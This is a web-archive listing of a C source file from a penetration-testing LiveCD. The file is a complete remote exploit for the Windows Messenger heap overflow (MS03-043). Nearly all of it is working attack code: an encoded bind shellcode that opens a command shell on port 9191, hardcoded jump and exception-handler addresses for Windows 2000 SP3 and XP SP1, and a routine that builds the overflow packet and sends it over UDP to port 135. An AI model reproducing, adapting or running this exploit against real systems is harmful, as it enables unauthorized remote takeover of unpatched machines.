home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / msgr07.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  231 lines

  1. /************************************************************************************
  2.  
  3.  Exploit for Microsoft Windows Messenger Heap Overflow (MS03-043)
  4.  based on PoC DoS by recca@mail.ru
  5.  
  6.     by Adik < netmaniac [at] hotmail.kg >
  7.     http://netninja.to.kg
  8.  
  9.  Binds command shell on port 9191
  10.  Tested on 
  11.             Windows XP Professional SP1 English version
  12.             Windows 2000 Professional SP3 English version 
  13.  
  14.  access violation -> unhandledexceptionfilter -> 
  15.  -> call [esi+48h]/call [edi+6ch] (win2kSP3/WinXPSP1) -> longjmp -> shellcode
  16.  
  17.  
  18.   attach debugger and c how it flows :)    worked fine for me
  19.  
  20.  
  21.     -[25/Oct/2003]-
  22. ************************************************************************************/
  23.  
  24. #include <stdio.h>
  25. #include <winsock.h>
  26. #include <string.h>
  27. #include <time.h>
  28.  
  29. #pragma comment(lib,"ws2_32")
  30.  
  31. #define VER        "0.7"    
  32.  
  33. /**************** bind shellcode spawns shell on port 9191 ************************/
  34.  
  35. unsigned char kyrgyz_bind_code[] = {
  36.     0xEB,0x03,0x5D,0xEB,0x05,0xE8,0xF8,0xFF,0xFF,0xFF,0x8B,0xC5,0x83,0xC0,0x11,0x33,0xC9,0x66,0xB9,
  37.     0xC9,0x01,0x80,0x30,0x88,0x40,0xE2,0xFA,
  38.     0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 
  39.     0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 
  40.     0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 
  41.     0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 
  42.     0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 
  43.     0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 
  44.     0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 
  45.     0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 
  46.     0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 
  47.     0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 
  48.     0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 
  49.     0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 
  50.     0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 
  51.     0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 
  52.     0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x88, 0xAB, 0x6F, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 
  53.     0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 
  54.     0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 
  55.     0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 
  56.     0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 
  57.     0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 
  58.     0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 
  59.     0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 
  60.     0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 
  61.     0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 
  62.     0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 
  63.     0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 
  64.     0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 
  65.     0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 
  66.     0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88
  67. };
  68.  
  69.  
  70.  
  71. int PreparePacket(char *packet,int sizeofpacket, DWORD Jmp, DWORD SEH);
  72.  
  73. int main(int argc,char *argv[])
  74. {
  75.         int sockUDP,ver,c, packetsz,cnt;
  76.         unsigned char packet[8192];
  77.         struct sockaddr_in targetUDP;        
  78.         WSADATA wsaData;        
  79.         
  80.         struct
  81.         {
  82.             char os[30];
  83.             DWORD SEH;
  84.             DWORD JMP;
  85.         } targetOS[] = 
  86.         {
  87.             {
  88.                 "Windows 2000 SP 3 (en)",
  89.                 0x77ee044c,        // unhandledexceptionfilter pointer
  90.                 0x768d693e        // cryptsvc.dll call [esi+48] 0x768d693e
  91.             },
  92.             {
  93.                 "Windows XP SP 1 (en)",
  94.                 0x77ed73b4,
  95.                 0x7804bf52    //rpcrt4.dll    call [edi+6c]
  96.             }/*,
  97.             {    //not tested
  98.                 "Windows XP SP 0 (en)",
  99.                 0x77ed63b4,
  100.                 0x7802ff3d    //rpcrt4 call [edi+6c]
  101.             }*/
  102.         };
  103.  
  104.         
  105.         printf("\n-=[ MS Messenger Service Heap Overflow Exploit (MS03-043) ver %s ]=-\n\n"
  106.                    " by Adik < netmaniac [at] hotmail.KG >\n http://netninja.to.kg\n\n", VER);
  107.  
  108.         if(argc < 3)
  109.         {            
  110.             printf(" Target OS version:\n\n");
  111.             for(c=0;c<(sizeof(targetOS)/sizeof(targetOS[0]));c++)
  112.                 printf(" [%d]\t%s\n",c,targetOS[c].os);
  113.             printf("\n Usage: %s [TargetIP] [ver: 0 | 1]\n"
  114.                     " eg: msgr.exe 192.168.63.130 0\n",argv[0]);
  115.             return 1;
  116.         }
  117.         ver = atoi(argv[2]);
  118.         printf("[*] Target: \t IP: %s\t OS: %s\n"
  119.                "[*] UEF: \t 0x%x\n"
  120.                "[*] JMP: \t 0x%x\n\n", argv[1],targetOS[ver].os, targetOS[ver].SEH, targetOS[ver].JMP);
  121.  
  122.         WSAStartup(0x0202, &wsaData);
  123.         printf("[*] WSAStartup initialized...\n");
  124.  
  125.         ZeroMemory(&targetUDP, sizeof(targetUDP));
  126.         
  127.         targetUDP.sin_family = AF_INET;
  128.         targetUDP.sin_addr.s_addr = inet_addr(argv[1]);
  129.         targetUDP.sin_port = htons(135);
  130.  
  131.         packetsz = PreparePacket(packet,sizeof(packet),targetOS[ver].JMP,targetOS[ver].SEH);
  132.  
  133.         if ((sockUDP = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
  134.         {
  135.                 printf("[x] Socket not initialized! Exiting...\n");
  136.                 return 1;
  137.         }
  138.         printf("[*] Socket initialized...\n");
  139.         printf("[*] Injecting packet into a remote process...\n");
  140.         
  141.         if (sendto(sockUDP, packet, packetsz, 0, (struct sockaddr *)&targetUDP, sizeof(targetUDP)) == -1)
  142.         {
  143.             printf("[x] Failed to inject packet! Exiting...\n");
  144.             return 1;
  145.         }
  146.         else
  147.             printf("[*] Packet injected...\n");
  148.         
  149.         printf("[i] Try connecting to %s:9191\n\n",argv[1]);
  150.         return 0;
  151. }
  152.  
  153.  
  154.  
  155. /************************************************************************************/
  156. int PreparePacket(char *packet,int sizeofpacket, DWORD Jmp, DWORD SEH)
  157. {    
  158.         static unsigned char packet_header[] =
  159.         "\x04\x00\x28\x00"
  160.         "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  161.         "\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
  162.         "\x4f\xb6\xe6\xfc\xff\xff\xff\xff\x42\x69\x73\x68\x6b\x65\x6b\x32"
  163.         "\x30\x30\x33\xff\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  164.         "\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00";
  165.  
  166.         unsigned char field_header[] =     "\xff\xff\xff\xff\x00\x00\x00\x00"
  167.                                         "\xff\xff\xff\xff";
  168.  
  169.         int packet_size,i,fields_size;        
  170.         char from[] = "NETMANIAC";
  171.         char machine[] = "ADIK";
  172.         char longjmp[] ="\x90\x90\x90\x90\x90"
  173.                         "\xEB\x03\x58\xEB\x05\xE8\xF8\xFF\xFF\xFF"
  174.                         "\xB9\xFF\xFF\xFF\xFF\x81\xE9\x7F\xEE\xFF"
  175.                         "\xFF\x2B\xC1\xFF\xE0";        
  176.         char shortjmp[] ="\x90\x90\x90\x90\xEB\x10\x90\x90\x90\x90\x90\x90";
  177.         char body[5000] = "*** MESSAGE ***";//4096
  178.  
  179.         ZeroMemory(packet, sizeofpacket);
  180.         packet_size = 0;
  181.  
  182.         memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
  183.         packet_size += sizeof(packet_header) - 1;
  184.  
  185.         i = strlen(from) + 1;
  186.         *(unsigned int *)(&field_header[0]) = i;
  187.         *(unsigned int *)(&field_header[8]) = i;
  188.         memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
  189.         packet_size += sizeof(field_header) - 1;
  190.         strcpy(&packet[packet_size], from);
  191.         packet_size += (((i - 1) >> 2) + 1) << 2; 
  192.         i = strlen(machine) + 1;
  193.         *(unsigned int *)(&field_header[0]) = i;
  194.         *(unsigned int *)(&field_header[8]) = i;
  195.         memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
  196.         packet_size += sizeof(field_header) - 1;
  197.         strcpy(&packet[packet_size], machine);
  198.         packet_size += (((i - 1) >> 2) + 1) << 2; 
  199.         memset(body, 0x90, 2296); 
  200.         memcpy(&body[500],kyrgyz_bind_code,sizeof(kyrgyz_bind_code));
  201.         memset(&body[2296],0x14,1800);         
  202.         memcpy(&body[2296+1110],shortjmp,sizeof(shortjmp));
  203.         *(DWORD *)&body[2296+1121] = Jmp;
  204.         *(DWORD *)&body[2296+1125] = SEH;    
  205.         memcpy(&body[2296+1129],longjmp,sizeof(longjmp)-1);
  206.         fprintf(stdout, "[*] Msg body size: %d\n", 
  207.                         3656 - packet_size + sizeof(packet_header) - sizeof(field_header));
  208.         
  209.         body[3656 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';
  210.         
  211.         i = strlen(body) + 1;
  212.         
  213.         *(unsigned int *)(&field_header[0]) = i;
  214.         *(unsigned int *)(&field_header[8]) = i;
  215.         memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
  216.         packet_size += sizeof(field_header) - 1;
  217.         strcpy(&packet[packet_size], body);
  218.         packet_size += i;
  219.  
  220.         fields_size = packet_size - (sizeof(packet_header) - 1);
  221.         *(unsigned int *)(&packet[40]) = time(NULL);
  222.         *(unsigned int *)(&packet[74]) = fields_size;
  223.  
  224.         return packet_size;
  225.  
  226. }
  227. /************************************************************************************/
  228.  
  229.  
  230.  
  231.